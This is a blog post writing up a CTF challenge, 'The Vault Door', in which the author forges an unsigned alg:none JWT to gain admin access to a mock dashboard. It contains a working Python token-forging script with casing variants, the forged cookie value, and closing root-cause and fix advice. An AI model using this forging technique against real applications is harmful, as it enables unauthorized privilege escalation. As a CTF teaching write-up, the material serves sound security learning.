DEV Community

Cover image for FAM CTF : The Vault Door Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

FAM CTF : The Vault Door Writeup

Summary

NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a role claim in a JWT. The app issues a user-role token on login, stored in the nx_access cookie, and trusts the claims inside it without properly re-verifying the signature on every request.

Recon

Logged in as a normal user (strawhat) and captured the request to /famctf/dashboard:

Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME
Enter fullscreen mode Exit fullscreen mode

Decoding the JWT:

Header

{
  "alg": "HS256",
  "typ": "JWT"
}
Enter fullscreen mode Exit fullscreen mode

Payload

{
  "sub": "strawhat",
  "role": "user"
}
Enter fullscreen mode Exit fullscreen mode

The dashboard UI showed an "Admin Vault" card locked behind Admin only, confirming role was the authorization check.

Attempt 1 - Naive tampering (failed)

Editing the payload directly to "role":"admin" while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server does verify the signature against the payload, but didn't yet confirm how strictly it verifies the algorithm itself.

Attempt 2 - alg:none bypass (success)

Many JWT libraries historically honor the alg field declared in the token header to decide how to verify, including a none algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject none, an attacker can forge any payload with zero knowledge of the signing secret.

Forged header:

{ "alg": "none", "typ": "JWT" }
Enter fullscreen mode Exit fullscreen mode

Forged payload:

{ "sub": "strawhat", "role": "admin" }
Enter fullscreen mode Exit fullscreen mode

Forging Script

import base64, json

def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "strawhat", "role": "admin"}

h = b64url(json.dumps(header, separators=(',', ':')).encode())
p = b64url(json.dumps(payload, separators=(',', ':')).encode())

# alg:none tokens carry an empty signature segment (trailing dot, no bytes after it)
forged_token = f"{h}.{p}."
print(forged_token)
Enter fullscreen mode Exit fullscreen mode

Output (used as the nx_access cookie value):

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJhZG1pbiJ9.
Enter fullscreen mode Exit fullscreen mode

The script was also parameterized to emit None and NONE casing variants, since some JWT libraries do case-sensitive matching on alg and only reject the lowercase none:

for alg_variant in ("none", "None", "NONE"):
    header = {"alg": alg_variant, "typ": "JWT"}
    h = b64url(json.dumps(header, separators=(',', ':')).encode())
    print(f"{alg_variant}: {h}.{p}.")
Enter fullscreen mode Exit fullscreen mode

The lowercase none variant was the one accepted by the server.

Swapped the forged token in as the nx_access cookie value and reloaded /famctf/admin.

Result

With the forged cookie set, the dashboard itself reflected the privilege escalation - the "Admin Vault" card, previously locked with an Admin only badge, was now accessible, and a new ADMIN section appeared in the sidebar (Vault) alongside an ADMIN badge next to the username in the navbar. The Access Level card confirmed: ADMIN.

Navigating to /famctf/admin returned:

Identity verified - elevated access granted for strawhat
Enter fullscreen mode Exit fullscreen mode
FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d}
Enter fullscreen mode Exit fullscreen mode

Root Cause

Server-side JWT verification trusted the alg field from the attacker-controlled header instead of enforcing a fixed expected algorithm (e.g. always verify with HS256 and the server's own secret, regardless of what the token claims). This is the classic JWT algorithm confusion / alg:none vulnerability (CWE-347).

Fix

  • Never derive the verification algorithm from the token itself - hardcode the expected algorithm (HS256) server-side and reject anything else, including none.
  • Use a JWT library configuration that requires an explicit allow-list of algorithms (most modern libraries support this, e.g. jwt.verify(token, secret, { algorithms: ['HS256'] }) in jsonwebtoken).
  • Treat role/privilege claims as sensitive - consider keeping authorization state server-side (session store) rather than trusting client-held tokens for privilege escalation-sensitive decisions.

Tools Used

  • Browser DevTools / Burp Suite (cookie interception & editing)
  • jwt.io Debugger (payload/header inspection)
  • Python (base64, json) for manual token forging

Top comments (0)